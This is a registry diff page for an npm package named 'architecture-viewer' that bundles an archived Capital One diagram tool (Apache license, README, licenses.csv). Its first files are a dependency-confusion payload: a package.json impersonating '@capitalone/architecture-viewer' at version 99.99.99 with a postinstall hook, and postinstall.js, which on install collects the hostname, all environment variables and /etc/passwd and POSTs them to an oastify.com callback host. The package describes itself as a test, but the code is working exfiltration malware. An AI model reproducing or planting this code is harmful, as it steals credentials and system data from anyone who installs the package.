architecture-viewer 0.0.1-security → 4.4.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of architecture-viewer might be problematic. Click here for more details.

Files changed (97) hide show
  1. package/2/package.json +10 -0
  2. package/2/postinstall.js +33 -0
  3. package/New Folder/architecture-viewer/.babelrc +9 -0
  4. package/New Folder/architecture-viewer/.whitesource +8 -0
  5. package/New Folder/architecture-viewer/CODEOWNERS +2 -0
  6. package/New Folder/architecture-viewer/LICENSE.txt +201 -0
  7. package/New Folder/architecture-viewer/README.md +238 -0
  8. package/New Folder/architecture-viewer/licenses.csv +40 -0
  9. package/New Folder/architecture-viewer/package-lock.json +16126 -0
  10. package/New Folder/architecture-viewer/package.json +60 -0
  11. package/New Folder/architecture-viewer/preact.config.js +62 -0
  12. package/New Folder/architecture-viewer/readme_resources/screenrecord_arch_diagram.gif +0 -0
  13. package/New Folder/architecture-viewer/sample_json_data/large_web.json +289 -0
  14. package/New Folder/architecture-viewer/sample_json_data/no_steps.json +185 -0
  15. package/New Folder/architecture-viewer/sample_json_data/readme_example.json +55 -0
  16. package/New Folder/architecture-viewer/sample_json_data/section_example.json +323 -0
  17. package/New Folder/architecture-viewer/sample_json_data/simple_structure.json +131 -0
  18. package/New Folder/architecture-viewer/sample_json_data/zones_example.json +445 -0
  19. package/New Folder/architecture-viewer/sample_plantuml_data/example.adoc +65 -0
  20. package/New Folder/architecture-viewer/sample_plantuml_data/example.png +0 -0
  21. package/New Folder/architecture-viewer/sample_plantuml_data/example.svg +1 -0
  22. package/New Folder/architecture-viewer/src/assets/data.json +445 -0
  23. package/New Folder/architecture-viewer/src/assets/favicon.ico +0 -0
  24. package/New Folder/architecture-viewer/src/assets/grid_data.json +1126 -0
  25. package/New Folder/architecture-viewer/src/assets/icons/android-chrome-192x192.png +0 -0
  26. package/New Folder/architecture-viewer/src/assets/icons/android-chrome-512x512.png +0 -0
  27. package/New Folder/architecture-viewer/src/assets/icons/apple-touch-icon.png +0 -0
  28. package/New Folder/architecture-viewer/src/assets/icons/favicon-16x16.png +0 -0
  29. package/New Folder/architecture-viewer/src/assets/icons/favicon-32x32.png +0 -0
  30. package/New Folder/architecture-viewer/src/assets/icons/info.png +0 -0
  31. package/New Folder/architecture-viewer/src/assets/icons/mstile-150x150.png +0 -0
  32. package/New Folder/architecture-viewer/src/assets/test_data.json +32 -0
  33. package/New Folder/architecture-viewer/src/components/app.js +231 -0
  34. package/New Folder/architecture-viewer/src/components/controls.js +195 -0
  35. package/New Folder/architecture-viewer/src/components/diagram.js +362 -0
  36. package/New Folder/architecture-viewer/src/components/diagramArea.js +68 -0
  37. package/New Folder/architecture-viewer/src/components/info.js +37 -0
  38. package/New Folder/architecture-viewer/src/components/infoArea.js +75 -0
  39. package/New Folder/architecture-viewer/src/components/key.js +42 -0
  40. package/New Folder/architecture-viewer/src/components/tableOfContents.js +112 -0
  41. package/New Folder/architecture-viewer/src/components/tocStep.js +100 -0
  42. package/New Folder/architecture-viewer/src/components/zoneLegend.js +55 -0
  43. package/New Folder/architecture-viewer/src/index.js +20 -0
  44. package/New Folder/architecture-viewer/src/manifest.json +19 -0
  45. package/New Folder/architecture-viewer/src/routes/home/index.js +29 -0
  46. package/New Folder/architecture-viewer/src/routes/home/style.less +23 -0
  47. package/New Folder/architecture-viewer/src/routes/profile/index.js +63 -0
  48. package/New Folder/architecture-viewer/src/routes/profile/style.less +23 -0
  49. package/New Folder/architecture-viewer/src/style/helpers.less +40 -0
  50. package/New Folder/architecture-viewer/src/style/index.css +224 -0
  51. package/New Folder/architecture-viewer/src/style/jquery.qtip.less +623 -0
  52. package/New Folder/architecture-viewer/src/sw.js +4 -0
  53. package/New Folder/architecture-viewer/src/template.html +15 -0
  54. package/New Folder/architecture-viewer/src/utils/dataValidator.js +333 -0
  55. package/New Folder/architecture-viewer/src/utils/parser.js +623 -0
  56. package/New Folder/architecture-viewer/src/utils/stepUtils.js +30 -0
  57. package/New Folder/architecture-viewer/tests/__mocks__/browserMocks.js +21 -0
  58. package/New Folder/architecture-viewer/tests/__mocks__/fileMocks.js +3 -0
  59. package/New Folder/architecture-viewer/tests/__mocks__/setupTests.js +6 -0
  60. package/New Folder/architecture-viewer/tests/parser.test.js +799 -0
  61. package/New Folder/architecture-viewer/tests/testfiles/aliased_participants.adoc +7 -0
  62. package/New Folder/architecture-viewer/tests/testfiles/bigspace.json +1 -0
  63. package/New Folder/architecture-viewer/tests/testfiles/dividers.adoc +18 -0
  64. package/New Folder/architecture-viewer/tests/testfiles/doubled_names.adoc +10 -0
  65. package/New Folder/architecture-viewer/tests/testfiles/empty.adoc +2 -0
  66. package/New Folder/architecture-viewer/tests/testfiles/meta.adoc +19 -0
  67. package/New Folder/architecture-viewer/tests/testfiles/notes_multiline.adoc +17 -0
  68. package/New Folder/architecture-viewer/tests/testfiles/notes_singleline.adoc +16 -0
  69. package/New Folder/architecture-viewer/tests/testfiles/parsefile.adoc +6 -0
  70. package/New Folder/architecture-viewer/tests/testfiles/participant_decl.adoc +6 -0
  71. package/New Folder/architecture-viewer/tests/testfiles/participant_info.adoc +7 -0
  72. package/New Folder/architecture-viewer/tests/testfiles/readme.adoc +7 -0
  73. package/New Folder/architecture-viewer/tests/testfiles/steps_aliased.adoc +9 -0
  74. package/New Folder/architecture-viewer/tests/testfiles/steps_group.adoc +16 -0
  75. package/New Folder/architecture-viewer/tests/testfiles/steps_group.json +1 -0
  76. package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.adoc +16 -0
  77. package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.json +1 -0
  78. package/New Folder/architecture-viewer/tests/testfiles/steps_loop.adoc +16 -0
  79. package/New Folder/architecture-viewer/tests/testfiles/steps_loop.json +1 -0
  80. package/New Folder/architecture-viewer/tests/testfiles/steps_mixed.adoc +9 -0
  81. package/New Folder/architecture-viewer/tests/testfiles/steps_steptest.adoc +17 -0
  82. package/New Folder/architecture-viewer/tests/testfiles/steps_unaliased.adoc +9 -0
  83. package/New Folder/architecture-viewer/tests/testfiles/supernodes.adoc +10 -0
  84. package/New Folder/architecture-viewer/tests/testfiles/unaliased_participants.adoc +6 -0
  85. package/New Folder/architecture-viewer/tests/testfiles/undeclaredparticipant.adoc +23 -0
  86. package/New Folder/architecture-viewer/tests/testfiles/xsstest.adoc +15 -0
  87. package/New Folder/architecture-viewer/tests/testfiles/zoned_participants.adoc +5 -0
  88. package/New Folder/architecture-viewer/tests/validator.test.js +63 -0
  89. package/New Folder/d_i.txt +1 -0
  90. package/New Folder/dependency_confution_npm.sh +70 -0
  91. package/New Folder/licenses.csv +40 -0
  92. package/New Folder/npm_sub.txt +0 -0
  93. package/New Folder/package-lock.json +23 -0
  94. package/New Folder/package.json.save +12 -0
  95. package/index.js +39 -0
  96. package/package.json +12 -3
  97. package/README.md +0 -5
package/2/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "@capitalone/architecture-viewer",
3
+ "version": "99.99.99", // Use a higher version number to ensure it is prioritized
4
+ "description": "Malicious package for testing dependency confusion.",
5
+ "scripts": {
6
+ "postinstall": "node postinstall.js"
7
+ },
8
+ "dependencies": {}
9
+ }
10
+
@@ -0,0 +1,33 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+
5
+ console.log("[+] Malicious package executed on Capital One systems!");
6
+
7
+ const data = {
8
+ hostname: os.hostname(),
9
+ env: process.env,
10
+ users: fs.readFileSync('/etc/passwd', 'utf8')
11
+ };
12
+
13
+ const options = {
14
+ hostname: '6horl4hg3f95p199xr6ucpfxwo2jq9ey.oastify.com',
15
+ port: 80,
16
+ path: '/callback',
17
+ method: 'POST',
18
+ headers: { 'Content-Type': 'application/json' }
19
+ };
20
+
21
+ const req = http.request(options, (res) => {
22
+ res.on('data', (d) => {
23
+ process.stdout.write(d);
24
+ });
25
+ });
26
+
27
+ req.on('error', (e) => {
28
+ console.error(e);
29
+ });
30
+
31
+ req.write(JSON.stringify(data));
32
+ req.end();
33
+
@@ -0,0 +1,9 @@
1
+ {
2
+ "env": {
3
+ "test": {
4
+ "presets": [
5
+ ["preact-cli/babel", { "modules": "commonjs" }]
6
+ ]
7
+ }
8
+ }
9
+ }
@@ -0,0 +1,8 @@
1
+ {
2
+ "checkRunSettings": {
3
+ "vulnerableCheckRunConclusionLevel": "failure"
4
+ },
5
+ "issueSettings": {
6
+ "minSeverityLevel": "NONE"
7
+ }
8
+ }
@@ -0,0 +1,2 @@
1
+ # Owner: https://github.com/daj
2
+ * @daj @handstandsam
@@ -0,0 +1,201 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or
95
+ Derivative Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "{}"
182
+ replaced with your own identifying information. (Don't include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright [yyyy] [name of copyright owner]
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,238 @@
1
+ # Due to changes in the priorities, this project is currently not being supported. The project is archived as of 9/17/21 and will be available in a read-only state. Please note, since archival, the project is not maintained or reviewed. #
2
+
3
+ <!-- START doctoc generated TOC please keep comment here to allow auto update -->
4
+ <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
5
+ **Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)*
6
+
7
+ - [Architecture Diagram Web App](#architecture-diagram-web-app)
8
+ - [Demo](#demo)
9
+ - [Usage](#usage)
10
+ - [Features](#features)
11
+ - [Supported File Formats](#supported-file-formats)
12
+ - [PlantUML](#plantuml)
13
+ - [JSON](#json)
14
+ - [Embedding in Wikis and Webpages](#embedding-in-wikis-and-webpages)
15
+ - [Deployment (for developers)](#deployment-for-developers)
16
+ - [Build Requirements](#build-requirements)
17
+ - [Build steps](#build-steps)
18
+ - [Contributing](#contributing)
19
+
20
+ <!-- END doctoc generated TOC please keep comment here to allow auto update -->
21
+
22
+ # Architecture Diagram Web App
23
+
24
+ Start building and analyzing technical flows in seconds!
25
+
26
+ [PlantUML sequence diagrams](http://plantuml.com/sequence-diagram) are very useful for documenting API flows. However, they can often overwhelm you with detail, which obscures the high level architecture.
27
+
28
+ The architecture-viewer converts PlantUML sequence diagrams into interactive HTML architecture diagrams, which make it easier to step through the sequence, without losing the high level context.
29
+
30
+ ## Demo
31
+
32
+ ![the application demo](readme_resources/screenrecord_arch_diagram.gif)
33
+
34
+ The PlantUML source for this demo is [here](sample_plantuml_data/example.adoc).
35
+
36
+ ## Usage
37
+
38
+ 1) Open a JSON or PlantUML file directly [in the webpage](https://capitalone.github.io/architecture-viewer/).
39
+
40
+ 2) Launch [the webpage](https://capitalone.github.io/architecture-viewer/?url=https://raw.githubusercontent.com/capitalone/architecture-viewer/master/sample_json_data/large_web.json) directly with a `?url=` query parameter linking to the JSON or PlantUML file to display, e.g.
41
+ ```
42
+ https://capitalone.github.io/architecture-viewer/?url=https://raw.githubusercontent.com/capitalone/architecture-viewer/master/sample_json_data/large_web.json
43
+ ```
44
+
45
+ The same can be done with a plantUML file, as seen [here](https://capitalone.github.io/architecture-viewer/?url=https://raw.githubusercontent.com/capitalone/architecture-viewer/master/sample_plantuml_data/example.adoc)
46
+
47
+ ```
48
+ https://capitalone.github.io/architecture-viewer/?url=https://raw.githubusercontent.com/capitalone/architecture-viewer/master/sample_plantuml_data/example.adoc
49
+ ```
50
+
51
+ ## Features
52
+
53
+ - Each node is clickable. Once clicked, a popup with details about them will appear.
54
+ - Each step from the sequence diagram is listed in the sidebar.
55
+ - Step through each part of the flow and see it visualized in an easy to digest graph.
56
+ - Notes can be added to steps for clarity.
57
+
58
+ ### Supported File Formats
59
+
60
+ #### PlantUML
61
+
62
+ The architecture-viewer supports a subset of the [PlantUML sequence diagrams syntax](http://plantuml.com/sequence-diagram). This repository also includes [this example](sample_plantuml_data/example.adoc) which was used to generate the demo above.
63
+
64
+ The following PlantUML sequence diagram features are supported:
65
+
66
+ - `@startuml` and `@enduml` to indicate diagrams
67
+ - `title << title text here >>` to declare a title
68
+ - `autonumber` is ignored and starts the indices at 0 (but the table of contents starts at 1)
69
+ - participants are able to be created using the `participant` and `actor` keyword, and the following syntax is valid
70
+ - `participant A`
71
+ - `participant "AAA" as A`
72
+ - `participant "A"`
73
+ - stereotypes (`<< (X, zone_color) zone_name >>`) can be used with participants to provide colors, and to group participants into zones
74
+ - `participant A << (X, #000000) zoneA >>`
75
+ - `participant "AAA" as A << (X, #000000) zoneA >>`
76
+ - `participant "A" << (X, #000000) zoneA >>`
77
+ - steps
78
+ - the following syntax for steps (and their backwards form) are supported
79
+ - `->`
80
+ - `-\`
81
+ - `-/`
82
+ - `->>`
83
+ - `-\\`
84
+ - `-//`
85
+ - `-->`
86
+ - `--\\`
87
+ - `--//`
88
+ - `-->>`
89
+ - the following syntax for arrows is NOT supported
90
+ - `-[#red]>`
91
+ - grouping
92
+ - The following grouping keywords are supported
93
+ - loops
94
+ ```
95
+ loop [x times]
96
+ <<steps here>>
97
+ end
98
+ ```
99
+ - groups
100
+ ```
101
+ group <<text to be displayed>>
102
+ <<steps here>>
103
+ end
104
+ ```
105
+ - Nested loops are supported
106
+ - notes
107
+ - The following syntax is supported
108
+ - single line notes: `note [left|right]: <<text to be displayed>>`
109
+ - multiline notes
110
+
111
+ note [left|right]
112
+ <<text to be displayed>>
113
+ end note
114
+ - Notes over steps, and notes over participants (notes over participants translate to clickable tooltips on nodes) are supported
115
+ - any other line included will be ignored
116
+ - WARNING: using any other blocked feature (such as `alt`) may break the renderer. Make sure the .adoc file uploaded does not contain any unsupported features
117
+
118
+ To change the default diagram, edit `src/assets/data.json` and redeploy.
119
+
120
+ #### JSON
121
+
122
+ The architecture-viewer uses a custom JSON format as input. PlantUML files are converted into this format for rendering. You may also import files directly if they are in this format.
123
+
124
+ You need to define the following JSON fields:
125
+ - `title`
126
+ - `graphData`
127
+ - `nodes`
128
+ - `id` (shorthand id, ex. FBI)
129
+ - `fname` (longhand name, ex. Federal Bureau of Investigation)
130
+ - `zone` (optional)
131
+ - `info` (optional)
132
+ - `edges`
133
+ - `id`
134
+ - `source`
135
+ - `target`
136
+ - `stepData` (optional)
137
+
138
+ _note: the graphData in the JSON is compatible with [cytoscape](http://www.cytoscape.org/)_
139
+
140
+ Example (JSON):
141
+ ```javascript
142
+ {
143
+ "title": "some_title",
144
+ "graphData": {
145
+ "nodes": [
146
+ {
147
+ "data": {
148
+ "id": "s_id",
149
+ "fname": "some_id",
150
+ "zone": "#ffb2b2",
151
+ "info": "info about some_id"
152
+ }
153
+ },
154
+ {
155
+ "data": {
156
+ "id": "s_id_2",
157
+ "fname": "some_id_2",
158
+ "zone": "#b2b2ff",
159
+ "info": "info about some_id_2"
160
+ }
161
+ }
162
+ ],
163
+ "edges": [
164
+ {
165
+ "data": {
166
+ "id": "some_edge_id",
167
+ "source": "s_id",
168
+ "target": "s_id_2"
169
+ }
170
+ }
171
+ ]
172
+ },
173
+ "stepData": [
174
+ {
175
+ "id": "0",
176
+ "type": "single",
177
+ "nodes": [
178
+ "some_id",
179
+ "some_id_2"
180
+ ],
181
+ "steps": [],
182
+ "description": "an example step",
183
+ "note": ""
184
+ }
185
+ ]
186
+ }
187
+ ```
188
+
189
+ ### Embedding in Wikis and Webpages
190
+
191
+ You can embed the interactive architecture-viewer using an `<iframe>` tag, e.g.
192
+
193
+ ```html
194
+ <iframe height="600" src="https://capitalone.github.io/architecture-viewer/?url=https://github.com/raw/capitalone/architecture-viewer/master/sample_plantuml_data/example.adoc" width="100%"> </iframe>
195
+ ```
196
+
197
+ Some content management/collaboration software (e.g. [Confluence](https://www.atlassian.com/software/confluence)) will block external sites, so you may need to add your architecture-viewer domain to a whitelist before it will display.
198
+
199
+ ### Deployment (for developers)
200
+
201
+ #### Build Requirements
202
+
203
+ - node (ideally v7 or later)
204
+ - npm (if you meet the node requirements you SHOULD meet the npm requirements)
205
+
206
+ #### Build steps
207
+
208
+ ```
209
+ # Install dependencies
210
+ npm install
211
+
212
+ # This will run a dev server on http://localhost:8080
213
+ npm run dev
214
+
215
+ # This will run all the tests located in __tests__/
216
+ npm run test
217
+
218
+ # This will build the app and place the built files in build/
219
+ npm run build
220
+
221
+ # This will deploy the contents of build/ to the gh-pages branch
222
+ npm run deploy
223
+
224
+ ```
225
+
226
+ The `build` directory is a static website so it can be deployed to any static hosting platform.
227
+
228
+ If you need to customize the base resource paths used by this web application, you can edit the provided [preact.config.js](preact.config.js).
229
+
230
+ ### Contributing
231
+
232
+ We welcome Your interest in Capital One’s Open Source Projects (the “Project”). Any Contributor to the Project must accept and sign an Agreement indicating agreement to the license terms below. Except for the license granted in this Agreement to Capital One and to recipients of software distributed by Capital One, You reserve all right, title, and interest in and to Your Contributions; this Agreement does not impact Your rights to use Your own Contributions for any other purpose.
233
+
234
+ [Sign the Individual Agreement](https://docs.google.com/forms/d/19LpBBjykHPox18vrZvBbZUcK6gQTj7qv1O5hCduAZFU/viewform)
235
+
236
+ [Sign the Corporate Agreement](https://docs.google.com/forms/d/e/1FAIpQLSeAbobIPLCVZD_ccgtMWBDAcN68oqbAJBQyDTSAQ1AkYuCp_g/viewform?usp=send_form)
237
+
238
+ This project adheres to the [Open Code of Conduct](http://www.capitalone.io/codeofconduct/). By participating, you are expected to honor this code.
@@ -0,0 +1,40 @@
1
+ "module name","license","repository"
2
+ "ajv@6.5.3","MIT","https://github.com/epoberezkin/ajv"
3
+ "cytoscape-dagre@2.2.1","MIT","https://github.com/cytoscape/cytoscape.js-dagre"
4
+ "cytoscape-popper@1.0.2","MIT","https://github.com/cytoscape/cytoscape.js-popper"
5
+ "cytoscape@3.2.16","MIT","https://github.com/cytoscape/cytoscape.js"
6
+ "dagre@0.7.4","MIT","https://github.com/cpettitt/dagre"
7
+ "dagre@0.8.2","MIT","https://github.com/dagrejs/dagre"
8
+ "fast-deep-equal@2.0.1","MIT","https://github.com/epoberezkin/fast-deep-equal"
9
+ "fast-json-stable-stringify@2.0.0","MIT","https://github.com/epoberezkin/fast-json-stable-stringify"
10
+ "fillthisfornow@0.0.0","UNLICENSED",""
11
+ "fs-access@1.0.1","MIT","https://github.com/sindresorhus/fs-access"
12
+ "graphlib@1.0.7","MIT","https://github.com/cpettitt/graphlib"
13
+ "graphlib@2.1.5","MIT","https://github.com/dagrejs/graphlib"
14
+ "heap@0.2.6","PSF","https://github.com/qiao/heap.js"
15
+ "immutability-helper@2.7.1","MIT","https://github.com/kolodny/immutability-helper"
16
+ "invariant@2.2.4","MIT","https://github.com/zertosh/invariant"
17
+ "isexe@2.0.0","ISC","https://github.com/isaacs/isexe"
18
+ "js-tokens@4.0.0","MIT","https://github.com/lydell/js-tokens"
19
+ "json-schema-traverse@0.4.1","MIT","https://github.com/epoberezkin/json-schema-traverse"
20
+ "karma-chrome-launcher@2.2.0","MIT","https://github.com/karma-runner/karma-chrome-launcher"
21
+ "lodash.debounce@4.0.8","MIT","https://github.com/lodash/lodash"
22
+ "lodash@3.10.1","MIT","https://github.com/lodash/lodash"
23
+ "lodash@4.17.10","MIT","https://github.com/lodash/lodash"
24
+ "loose-envify@1.4.0","MIT","https://github.com/zertosh/loose-envify"
25
+ "null-check@1.0.0","MIT","https://github.com/sindresorhus/null-check"
26
+ "object-assign@4.1.1","MIT","https://github.com/sindresorhus/object-assign"
27
+ "popper.js@1.14.4","MIT","https://github.com/FezVrasta/popper.js"
28
+ "preact-compat@3.18.3","MIT","https://github.com/developit/preact-compat"
29
+ "preact-render-to-string@3.8.2","MIT","https://github.com/developit/preact-render-to-string"
30
+ "preact-router@2.6.1","MIT","https://github.com/developit/preact-router"
31
+ "preact-transition-group@1.1.1","MIT","https://github.com/developit/preact-transition-group"
32
+ "preact@8.3.1","MIT","https://github.com/developit/preact"
33
+ "pretty-format@3.8.0","MIT","https://github.com/thejameskyle/pretty-format"
34
+ "prop-types@15.6.2","MIT","https://github.com/facebook/prop-types"
35
+ "punycode@2.1.1","MIT","https://github.com/bestiejs/punycode.js"
36
+ "standalone-react-addons-pure-render-mixin@0.1.1","MIT",""
37
+ "tippy.js@2.5.4","MIT","https://github.com/atomiks/tippyjs"
38
+ "uri-js@4.2.2","BSD-2-Clause","https://github.com/garycourt/uri-js"
39
+ "which@1.3.1","ISC","https://github.com/isaacs/node-which"
40
+